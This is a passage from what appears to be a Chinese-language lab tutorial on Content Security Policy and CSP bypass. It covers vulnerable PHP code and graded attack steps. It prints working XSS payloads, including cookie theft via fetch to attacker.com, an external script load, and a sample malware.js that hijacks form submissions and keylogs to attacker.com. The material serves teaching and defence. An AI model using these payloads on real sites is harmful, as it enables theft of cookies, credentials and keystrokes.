目录
漏洞简介
什么是CSP(Content Security Policy)?
CSP(内容安全策略)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击。
CSP的目的:
- 防止XSS攻击
- 防止点击劫持
- 防止数据注入
- 限制资源加载来源
- 限制脚本执行
CSP工作原理:
1 2 3 4 5 6 7 8
| 浏览器加载页面 ↓ 读取CSP策略(HTTP头或meta标签) ↓ 检查每个资源和脚本 ↓ 符合策略 → 允许执行 不符合策略 → 阻止并报告
|
CSP指令类型:
| 指令 |
作用 |
示例 |
| default-src |
默认策略 |
default-src ‘self’ |
| script-src |
JavaScript来源 |
script-src ‘self’ ‘unsafe-inline’ |
| style-src |
CSS来源 |
style-src ‘self’ |
| img-src |
图片来源 |
img-src * data: |
| connect-src |
AJAX/WebSocket来源 |
connect-src ‘self’ |
| font-src |
字体来源 |
font-src ‘self’ |
| object-src |
插件来源 |
object-src ‘none’ |
| frame-src |
iframe来源 |
frame-src ‘self’ |
CSP关键字:
'none' - 不允许任何来源
'self' - 只允许同源
'unsafe-inline' - 允许内联脚本(不安全)
'unsafe-eval' - 允许eval()(不安全)
'nonce-{random}' - 允许带指定nonce的脚本
'sha256-{hash}' - 允许指定哈希的脚本
https: - 只允许HTTPS
*.example.com - 允许指定域名
什么是CSP Bypass(CSP绕过)?
CSP Bypass是指攻击者通过各种技巧绕过CSP策略,执行未授权的脚本或加载恶意资源。
常见CSP Bypass技术:
- 不安全的配置 -
'unsafe-inline', 'unsafe-eval'
- 白名单域名 - 利用白名单中的JSONP端点
- Nonce/Hash泄露 - 获取合法脚本的nonce
- Base标签注入 - 改变相对路径的基准
- 文件上传漏洞 - 上传到允许的域名
- 开放重定向 - 利用允许域名的重定向
危害:
- 绕过XSS防护
- 执行任意JavaScript
- 窃取敏感数据
- 完全控制页面
Low 难度
攻击目标
没有设置CSP或CSP配置极其宽松,完全无防护。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
$name = $_GET['name'];
echo "Hello, " . $name;
?>
|
HTML部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <!DOCTYPE html> <html> <head> <title>CSP Bypass - Low</title> </head> <body> <h1>CSP Bypass Test</h1>
<form method="GET"> <input type="text" name="name" placeholder="Your name"> <button type="submit">Submit</button> </form>
<div id="output"> <?php // 直接输出用户输入 // 没有任何防护 if(isset($_GET['name'])) { echo "Hello, " . $_GET['name']; } ?> </div> </body> </html>
|
漏洞分析
核心问题:
- 无CSP策略 - 没有设置Content-Security-Policy头
- 无输入过滤 - 直接输出用户输入
- 无输出编码 - 不使用htmlspecialchars()
- 所有脚本可执行 - 内联、外部、eval()全部允许
HTTP响应头(缺失CSP):
1 2 3 4 5 6 7
| HTTP/1.1 200 OK Server: Apache/2.4.41 Content-Type: text/html; charset=UTF-8 <!-- ★★★ 缺少 Content-Security-Policy 头 ★★★ -->
<!DOCTYPE html> ...
|
攻击步骤
步骤1:基础XSS攻击(无CSP阻止)
1 2 3 4 5 6 7 8 9 10
| ?name=<script>alert('XSS')</script>
?name=<img src=x onerror=alert('XSS')>
?name=<script src="http://evil.com/xss.js"></script>
|
步骤2:窃取Cookie
1 2 3
| ?name=<script> fetch('http://attacker.com/steal.php?c=' + document.cookie); </script>
|
步骤3:加载外部恶意脚本
1
| ?name=<script src="http://attacker.com/malware.js"></script>
|
malware.js内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| document.body.innerHTML = '<h1>Hacked!</h1>';
document.querySelectorAll('form').forEach(form => { form.addEventListener('submit', e => { e.preventDefault(); fetch('http://attacker.com/steal', { method: 'POST', body: new FormData(form) }); }); });
document.addEventListener('keypress', e => { fetch('http://attacker.com/log?key=' + e.key); });
|
步骤4:使用eval()
1 2
| ?name=<script>eval('alert("XSS")')</script>
|
Medium 难度
攻击目标
设置了基础CSP,但配置不当,可以绕过。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
header("Content-Security-Policy: script-src 'self' 'unsafe-inline';");
$name = $_GET['name'];
echo "Hello, " . $name;
?>
|
CSP策略解析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Content-Security-Policy: script-src 'self' 'unsafe-inline';
script-src - JavaScript源控制 'self' - 允许同源JavaScript文件 'unsafe-inline' - 允许内联脚本
允许: ✓ <script>alert(1)</script> ✓ <img onerror=alert(1)> ✓ <a href="javascript:alert(1)"> ✓ <script src="/local.js"></script>
阻止: ✗ <script src="http://evil.com/xss.js"></script>
|
新增防护
- CSP策略 - 限制脚本来源为同源
- 阻止外部脚本 - 不允许加载外部域的JavaScript
仍存在的漏洞
关键问题:'unsafe-inline'
这是CSP中最危险的配置,允许:
内联